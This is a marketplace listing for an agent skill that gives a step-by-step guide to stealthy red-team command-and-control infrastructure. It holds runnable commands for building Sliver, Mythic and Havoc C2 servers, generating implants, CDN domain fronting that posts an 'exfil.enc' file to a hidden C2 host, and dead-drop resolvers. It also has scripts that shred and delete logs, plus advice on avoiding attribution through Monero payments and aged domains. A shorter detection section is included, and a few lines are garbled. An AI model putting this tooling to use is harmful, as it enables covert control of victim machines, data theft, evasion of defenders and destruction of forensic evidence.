Skip to main content 首页 创作者 brucesongs kali-claw red-team-infrastructure
red-team-infrastructure Building, deploying, and operating stealthy C2 infrastructure for red team engagements. Covers Mythic, Havoc, Sliver, Covenant, PoshC2, Brute Ratel, and Cobalt Strike; redirector chains (Nginx mTLS, Cloudflare workers, CDN domain fronting); dead-drop resolvers; infrastructure OPSEC (compartmentalized servers, auto-rotated certs, decoupled domains); AMIS/GoDaddy API for automated rotation. Use when deploying dedicated adversary emulation infrastructure, planning redirector chains, or testing OPSEC resilience of red team operators.
跳到安装 Skills Marketplace 发现并探索由社区构建的 Agent Skills
用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt；运行前请先检查来源。
npx skills add https://github.com/brucesongs/kali-claw --skill red-team-infrastructure命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地？可下载 SkillsMP 当前能够提供的文件。
下载 Zip 下载中... name red-team-infrastructure description Building, deploying, and operating stealthy C2 infrastructure for red team engagements. Covers Mythic, Havoc, Sliver, Covenant, PoshC2, Brute Ratel, and Cobalt Strike; redirector chains (Nginx mTLS, Cloudflare workers, CDN domain fronting); dead-drop resolvers; infrastructure OPSEC (compartmentalized servers, auto-rotated certs, decoupled domains); AMIS/GoDaddy API for automated rotation. Use when deploying dedicated adversary emulation infrastructure, planning redirector chains, or testing OPSEC resilience of red team operators. origin kali-claw version 0.2.0.2 compatibility ["kali-linux-2025-2-arm64","python-3.11+","docker-26+","mythic-3.3+","sliver-1.5+","havoc-0.7+","nginx-1.24+","cloudflared-2024+"] allowed-tools ["mythic","havoc","sliver","covenant","poshc2","brute-ratel","cobalt-strike","chisel","gost","nginx","socat","cloudflared","frps","wireguard","ansible","terraform","certbot","dnscat2","iodine","merlin"] metadata {"domain":"red-team-infrastructure","tool_count":20,"guide_count":2,"mitre":"TA0011-Command and Control, T1001, T1008, T1090, T1104, T1132, T1568, T1571, T1572, T1573","last_reviewed":"2026-07-26"}
Red Team Infrastructure
Summary
Red team infrastructure is the offensive platform on which adversary emulation runs: C2 frameworks, redirectors, domains, certificates, listeners, listeners, listeners — every component that lets operators control implants while evading defenders. This domain covers modern C2 platform selection (Mythic modular, Havoc C++, Sliver Go, Covenant .NET, PoshC2 PowerShell, Brute Ratel, Cobalt Strike), redirector architecture (Nginx mTLS reverse proxy, Cloudflare Workers, CDN domain fronting, AzDoors), dead-drop resolvers (GitHub gist, Telegram channels, Reddit posts), and infrastructure OPSEC (compartmentalization, decoupled domain tiers, rotating certificates, burnable infrastructure).
Key Terms
C2 framework — Software that manages implants (beacons), listeners, and operator consoleImplant / beacon — Agent running on victim that checks in to C2Listener — Server-side endpoint that accepts implant check-insRedirector — Network appliance that forwards C2 traffic (hides true C2 origin)Malleable C2 — Customizable beacon profile (HTTP method, headers, jitter)Domain fronting — Use of legitimate CDN SNI to hide attacker originDead-drop resolver — Public service (GitHub, Reddit) used as IP distribution pointBurnable infrastructure — Resources that can be discarded if detectedOPSEC — Operations Security (compartmentalization, attribution avoidance)C2 profile — Listener + implant + redirector configuration bundleStaging server — Hosts payload before delivery to victimTier-1 / Tier-2 / Tier-3 — Domain trust tiers (1 = throwaway, 3 = long-lived)
Scope
This skill covers red team infrastructure deployment and operations :
C2 framework selection and deployment (Mythic, Sliver, Havoc, etc.)
Redirector architecture (Nginx mTLS, Cloudflare, CDN fronting)
Domain portfolio management (registration, categorization, rotation)
Certificate automation (Let's Encrypt, ACME, certbot)
Dead-drop resolver design
OPSEC compartmentalization (separate teams / accounts / hosting)
Engagement infrastructure lifecycle (build → operate → burn → rebuild)
Out of scope : payload generation (see payload-generation skill), AV/EDR evasion (see av-edr-evasion skill), malware development (see
malware-analysis-advanced
Use Cases
C2 deployment for adversary emulation : Stand up Sliver / Mythic / Havoc to mimic APT29 / FIN6 / Vice SocietyRedirector chain OPSEC test : Validate that redirector hides true C2 from network defendersDomain fronting verification : Confirm SNI ≠ Host header works against target SWGDead-drop resolver lab : Set up GitHub gist polling for victim-IP distributionInfrastructure compartmentalization : Design deployment that survives detectionAuto-rotation : Use Ansible / Terraform to deploy + teardown C2 in <1 hourOPSEC training : Teach red team operators how to avoid attributionCS infrastructure audit : Test if SOC can detect legitimate-looking C2 trafficEngagement pivot : Quickly shift infrastructure if blue team detects campaignDomain portfolio hygiene : Manage tier-1/2/3 domains for long-lived engagements
Core Tools Tool Purpose MythicModular C2 framework (Docker-based, agent-agnostic) SliverGo-based HTTPS/DNS C2 (modern, free) HavocC++ implant + Python C2 (stealthy) Covenant.NET C2 (Windows focus) PoshC2PowerShell C2 (Windows agents) Brute RatelCommercial adversary simulation (LOL-bin focused) Cobalt StrikeCommercial C2 (industry standard) chiselHTTP/WebSocket tunnel (mTLS) gostMulti-proto tunnel (SOCKS/HTTP/TLS) nginxReverse proxy (mTLS redirector) socatUniversal socket relay cloudflaredCloudflare tunnel (free redirector) frpsFast reverse proxy server wireguardModern VPN for infrastructure links ansibleConfiguration management for C2 fleet terraformInfrastructure as code (multi-cloud) certbotLet's Encrypt ACME client dnscat2DNS tunnel C2 (low-persistence fallback) iodineIP-over-DNS (DNS-only environments) merlinHTTP/2 C2 (Go)
Methodology
Phase 1 — Engagement scoping Match infrastructure complexity to target + objectives:
Engagement type Infrastructure Domains Hosting Single host test 1 Sliver C2 + 1 redirector 1 1 VPS Adversary emulation (1 day) Mythic + 2 redirectors 2 2 VPS Long-term red team (months) Sliver + Mythic + 4 redirectors 4+ 4 VPS + cloud APT emulation (state actor) Full compartmentalized stack 8+ 8+ VPS
Phase 2 — Domain portfolio Build tiered domain portfolio:
for domain in $(cat domains.txt); do
age=$(whois $domain | grep -i "creation" | awk '{print $NF}' )
cat =$(curl -s "https://www.virustotal.com/vtapi/v2/domain/report?domain=$domain &apikey=$VT_API " | jq -r .categories[0])
echo "$domain | age=$age | category=$cat "
done
Phase 3 — Hosting compartmentalization
Phase 4 — C2 framework selection Framework Strength Weakness When to use Mythic Modular, Docker, modern Heavy to deploy Multi-agent engagements Sliver Go, free, modern Smaller ecosystem Default choice Havoc C++ implant (stealthy) Newer, less docs High-stealth engagements Covenant .NET agent (Windows) .NET focus Windows-only targets PoshC2 PowerShell (Windows) PS-disabled targets Legacy Windows estates Brute Ratel LOLBin (sig-evade) Commercial ($2500+) Enterprise EDR evasion Cobalt Strike Industry standard $$$, beacon detect Maturity /w support needs
Phase 5 — Redirector chain design
cat > worker.js << 'EOF'
export default {
async fetch(request) {
const url = new URL(request.url);
url.hostname = 'nginx-redirector.example.com' ;
return fetch(url.toString(), request);
}
}
EOF
cat > /etc/nginx/conf.d/c2.conf << 'EOF'
server {
listen 443 ssl http2;
server_name nginx-redirector.example.com;
ssl_certificate /etc/letsencrypt/live/redirector/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/redirector/privkey.pem;
ssl_client_certificate /etc/nginx/mtls/ca.crt;
ssl_verify_client on;
location /api/ {
proxy_pass https://c2-backend.example.com:8443;
proxy_set_header Host $host ;
proxy_set_header X-Real-IP $remote_addr ;
}
}
EOF
Phase 6 — Domain fronting
curl -H "Host: hidden-c2.example.com" \
https://legitimate-cdn-customer.example.com/ \
--data-binary @exfil.enc
wrangler publish worker.js --name c2-front
Phase 7 — Dead-drop resolvers
curl -X POST -H "Authorization: token $GH_PAT " \
https://api.github.com/gists \
-d '{"description":"config","files":{"config.txt":{"content":"203.0.113.10"}}}'
C2_IP=$(curl -s https://gist.githubusercontent.com/$USER /$GIST_ID /raw/config.txt)
curl -s "https://api.telegram.org/bot$TOKEN /getUpdates?chat_id=$CHAT " | jq -r '.result[-1].message.text'
Phase 8 — Certificate automation
sudo certbot certonly --nginx -d c2.example.com --non-interactive --agree-tos -m admin@redirector.com
sudo certbot certonly --dns-cloudflare --dns-cloudflare-credentials ~/.cloudflare.ini -d '*.redirector.example.com'
sudo systemctl enable --now certbot.timer
Phase 9 — OPSEC compartmentalization
cat > main.tf << 'EOF'
resource "digitalocean_droplet" "c2" {
name = "web-${count.index} "
region = "nyc3"
size = "s-1vcpu-1gb"
image = "ubuntu-22-04-x64"
count = 3
ssh_keys = [data.digitalocean_ssh_key.default.id]
}
EOF
Phase 10 — Teardown + burn
terraform destroy -auto-approve
sudo shred -uvz /var/log/mythic/*.log
sudo rm -rf /opt/c2/*
sudo certbot revoke --cert-path /etc/letsencrypt/live/redirector/cert.pem
Practical Steps
Step 1 — Build Sliver C2 stack
curl https://sliver.sh/install | sudo bash
sliver
sliver > generate --http https://c2.example.com --os linux --arch amd64
sliver > http --domain c2.example.com --tls-cert fake.crt
./implant.elf
sliver > generate --http https://c2.example.com --dns dns.example.com --mtls mtls.example.com
Step 2 — Build Mythic C2 stack
git clone https://github.com/its-a-feature/Mythic
cd Mythic
sudo ./install_docker_ubuntu.sh
sudo nano .env
sudo ./mythic-cli start
sudo ./mythic-cli install github https://github.com/MythicAgents/Apollo
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http
Step 3 — Build Havoc C2 stack git clone https://github.com/HavocFramework/Havoc
cd Havoc/teamserver
go build -o Havoc teamserver.go
./Havoc -t Alpha --debug
./Havoc client/
Step 4 — Set up Nginx mTLS redirector sudo apt install nginx
openssl genrsa -out ca.key 4096
openssl req -new -x509 -days 3650 -key ca.key -out ca.crt -subj "/CN=RedTeam CA"
openssl genrsa -out client.key 2048
openssl req -new -key client.key -out client.csr -subj "/CN=implant"
openssl x509 -req -in client.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out client.crt -days 365
cat > /etc/nginx/conf.d/c2.conf << 'EOF'
server {
listen 443 ssl http2;
server_name redirector.example.com;
ssl_certificate /etc/letsencrypt/live/redirector/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/redirector/privkey.pem;
ssl_client_certificate /etc/nginx/mtls/ca.crt;
ssl_verify_client on;
location /api/ {
proxy_pass https://c2-backend.example.com:8443;
}
location / {
return 404;
}
}
EOF
sudo nginx -t && sudo systemctl reload nginx
Step 5 — Set up Cloudflare worker redirector
npm install -g wrangler
wrangler login
mkdir c2-worker && cd c2-worker
wrangler init
cat > src/index.js << 'EOF'
export default {
async fetch(request, env ) {
const url = new URL(request.url);
// Steganography: only POST with X-Custom header passes through
if (request.method !== 'POST' || !request.headers.get('X-Implant-Auth' )) {
return new Response('Not Found' , { status: 404 });
}
url.hostname = 'c2-backend.example.com' ;
url.port = '8443' ;
return fetch(url.toString(), request);
}
}
EOF
wrangler deploy
Step 6 — Dead-drop resolver via GitHub gist
echo "203.0.113.10" | gist -f config.txt -d "config"
C2_IP=$(curl -s https://gist.githubusercontent.com/$GIST_USER /$GIST_ID /raw/config.txt | tr -d '[:space:]' )
curl -X PATCH -H "Authorization: token $GH_PAT " \
https://api.github.com/gists/$GIST_ID \
-d '{"files":{"config.txt":{"content":"' "$NEW_IP " '"}}}'
Step 7 — Auto-rotate infrastructure
cat > rotate.yml << 'EOF'
- hosts: c2_fleet
tasks:
- name: Stop C2 services
systemd:
name: "{{ item }}"
state: stopped
loop: [mythic, sliver, havoc]
- name: Rotate certs
command : certbot renew
- name: Start C2 services
systemd:
name: "{{ item }}"
state: started
loop: [mythic, sliver, havoc]
- name: Wipe logs
file:
path: "{{ item }}"
state: absent
loop:
- /var/log/nginx/access.log
- /var/log/mythic/
EOF
ansible-playbook -i hosts rotate.yml
Step 8 — Domain fronting test
curl -v -H "Host: hidden-c2.example.com" \
https://legitimate-customer.com/ 2>&1 | grep -E "HTTP|Host"
tcpdump -i any -A -s 0 'tcp port 443' | grep -iE "host:|sni"
Step 9 — Burn + rebuild plan
cat > burn.sh << 'EOF'
ssh c2-team "systemctl stop mythic sliver havoc"
ssh cert-team "certbot revoke --cert-path redirector.crt"
ssh c2-team "shred -uvz /var/log/*"
cd /infra/terraform && terraform destroy -auto-approve
python3 migrate_domains.py --new-provider njalla
curl -X PATCH -H "Authorization: token $GH_PAT " \
https://api.github.com/gists/$GIST_ID \
-d '{"files":{"config.txt":{"content":"' "$NEW_IP " '"}}}'
EOF
chmod +x burn.sh
Step 10 — Operator OPSEC training
Never reuse operator accounts across teams
Never log into infrastructure from corporate VPN
Never discuss infrastructure in customer Slack
Never reuse SSH keys across engagements
Always use 2FA + hardware token for hosting accounts
Always use privacy-respecting registrars
Always pay via Monero / privacy-respecting crypto
Always check VT / Cisco Umbrella categorization before deploying
Defense Perspective
C2 lives on legitimate-looking domains — categorization is the only reliable signalCDN-fronted traffic is opaque to SWG — only cert pinning detection helpsmTLS redirectors filter implant traffic — defenders see traffic to redirector but not payloadsDead-drop resolvers look like dev workflow — GitHub gist polling is normalC2 frameworks leave signatures — Cobalt Strike beacon, Mythic Apollo, Havoc DemonDomain age is a strong signal — <30-day domains = high riskCert issuers can leak attribution — Let's Encrypt on suspicious infra is suspiciousBurnable infrastructure means detection is reversible — but expensive
Domain categorization feed (Cisco Umbrella, Bluecoat WebPulse)
TLS JA3/JA4 fingerprinting (C2 clients have unique fingerprints)
HTTP/2 fingerprinting (Akamai H2 fingerprint)
Beacon cadence anomaly (random jitter detection)
CDN egress to non-CDN origins (Cloudflare → non-CDN backend)
mTLS handshake anomaly (cert chain inspection)
GitHub gist polling from server fleet (developer host vs server)
Behavioral baseline for outbound HTTPS volume
Threat-intel feed correlation for C2 IP / domain reputation
C2 Framework Comparison Feature Mythic Sliver Havoc Covenant PoshC2 Brute Ratel Cobalt Strike Language Python/Go Go C++/Python C#/.NET PowerShell C++ Java License Open Open Open Open Open Commercial ($2500+) Commercial ($3000+/user) Platforms Multi Multi Win/Mac/Linux Windows Windows Windows Windows Implant lang Modular Go C++ C# PS C++ Java HTTP/S Yes Yes Yes Yes Yes Yes Yes DNS Yes (via profiles) Yes No No No No Yes mTLS Yes Yes No No No Yes Yes SMB pipe Yes Yes Yes Yes No Yes Yes TCP pivot Yes Yes Yes Yes No Yes Yes WebSocket Yes Yes Yes No No No No Implant customize High Medium High Medium Low High High (malleable) Operator UI Web CLI GUI Web CLI GUI GUI
Redirector Tier Architecture Tier Component Purpose Tier-0 Implant (victim) Initiates connection Tier-1 CDN front (Cloudflare / Fastly) Hides attacker infra behind CDN SNI Tier-2 Cloudflare worker Filters traffic (mTLS / stego / header) Tier-3 Nginx mTLS redirector Authenticates implant cert Tier-4 Cloud VPN (WireGuard) Encrypted hop Tier-5 C2 backend Sliver / Mythic / Havoc
Domain Categorization Targets Category Source Difficulty Health Alexa Health list Medium News Major news sites Hard Shopping Amazon look-alike Medium Education University look-alike Hard Government .gov look-alike Hard (verification) Tech Cloud / SaaS look-alike Easy (uncategorized) Tracking Analytics look-alike Easy
Threat Actor Infrastructure Profiles Actor Domains Hosting Payment APT29 / NOBELIUM High-rep lookalikes Compromised + cloud Stolen credit cards APT41 Compromised legitimate China-located Mix FIN6 / FIN7 Compromised WordPress US-located Crypto Vice Society Throwaway Mix Crypto LockBit / Conti Bulk registered Bulletproof hosting Crypto BlackCat Privacy-respecting EU + bulletproof Monero
Compliance Context
CFAA — Computer Fraud and Abuse Act (US federal computer crime)Computer Misuse Act 1990 (UK equivalent)GDPR Article 5 — engagement must respect data minimizationPCI DSS 12.10 — engagement scope must not affect PCI dataHIPAA Security Rule — covered entity must approve egress testingSOC 2 CC7.3 — security event detection (engagement must trigger)ISO 27001 A.12.6 — technical vulnerability managementState laws (CCPA, NYDFS 500) — breach disclosure trigger
Engagement Workflow
Scope — confirm C2 platform, redirector count, domain tierProcure — domains, hosting, certs (separate teams)Build — Terraform + Ansible deploy C2 + redirectorsTest — verify implant beacon through redirector chainEngage — operate against target with compartmentalized OPSECMonitor — VT, Cisco Umbrella, signature detection monitoringBurn — when detected, tear down + rebuildReport — infrastructure timeline, detections, gaps
Lab Setup
multipass launch --name c2 --cpus 2 --mem 2G --disk 20G
multipass launch --name redirector1 --cpus 1 --mem 1G --disk 10G
multipass launch --name redirector2 --cpus 1 --mem 1G --disk 10G
multipass exec c2 -- bash -c "curl https://sliver.sh/install | sudo bash"
multipass exec redirector1 -- bash -c "sudo apt install -y nginx"
multipass exec c2 -- bash -c "sudo apt install -y wireguard"
Quality Checklist
Detection Methods
C2 Infrastructure Detection
Domain age : Newly registered domains (<30 days) contacted by internal endpoints.TLS fingerprinting : JA3/JA4 hash matches known C2 (Cobalt Strike default profile).Beacon patterns : Periodic connections with jitter; statistical analysis (RITA).Malleable C2 profiles : Covert Strike malleable C2 patterns detectable via heuristic.
SIEM Detection Rules
Splunk SPL : index=proxy | stats count by url | where count > 100 | sort -countRITA (Real Intelligence Threat Analytics) : Statistical beacon detection.Threat intel platforms : Recorded Future, Mandiant for known C2 infrastructure.
Defense Evasion Techniques
Domain Reputation Stealth
Aged domains : Buy aged domains (>1 year old); higher reputation.CDN fronting : Use CloudFront, Azure CDN; appears as legitimate CDN traffic.Valid TLS certificates : Let's Encrypt for C2 domain; no cert warnings.Category 4 / "benign" domains : Use domains categorized as news/blogs; less suspicious.
Malleable C2 Stealth
Legitimate-looking profile : Mimic real web traffic (jQuery, Google Analytics).Jitter parameter : Randomize sleep interval to evade statistical detection.Long-haul beaconing : 24h interval for high-value targets; harder to correlate.Custom profiles : Avoid default Cobalt Strike profile (well-signatured).
Redirector Chains
Tier-1 redirectors : Use cheap VPS as redirector; main C2 behind.Cloud function redirectors : AWS Lambda / Cloudflare Workers; legitimate-looking.Domain rotation : Rotate redirector domains regularly; burn rate detection.HTTPS termination at redirector : TLS terminated at redirector; main C2 sees only HTTP.
References
MITRE ATT&CK Command and Control — https://attack.mitre.org/tactics/TA0011/
Mythic documentation — https://docs.mythic-c2.net/
Sliver documentation — https://sliver.sh/docs/
Havoc documentation — https://havocframework.com/docs/
"Red Team Infrastructure" (Rasta Mouse, 2023)
"Defending Against Command-and-Control" (SpecterOps, 2022)
"C2 Infrastructure 101" (TrustedSec, 2023)
"Compartmentalizing Infrastructure" (Red Siege, 2023)
"Domain Fronting" (CSIS 2017)
"Cloudflare Workers for C2" (0xPat, 2022)
Mandiant APT29 / NOBELIUM reports (2021–2024)
CrowdStrike 2024 Global Threat Report
"Red Team Field Manual" (RTFM)
"Operator Handbook" (Hausknecht, 2023)
"Detection Engineering" (Kyle Riley, 2023)
SpecterOps "Tradecraft" series
BlackHat USA 2023 — "Modern C2 Infrastructure"
"Cobalt Strike OPSEC" (Rasta Mouse, 2022)
Defensive deception and honeypot deployment covering SSH/Telnet (Cowrie), web (OpenCanary), enterprise (HFish), ICS/SCADA (Conpot), all-in-one (T-Pot), AI-driven deception (Beelzebub), Thinkst Canarytokens (DNS, HTTP, file, AWS API key, SQL), Dionaea multi-protocol honeypot, notification pipelines (Slack/Teams webhooks), false positive tuning, and attacker engagement — including lure design, deployment OPSEC, IOC extraction, and attacker attribution.
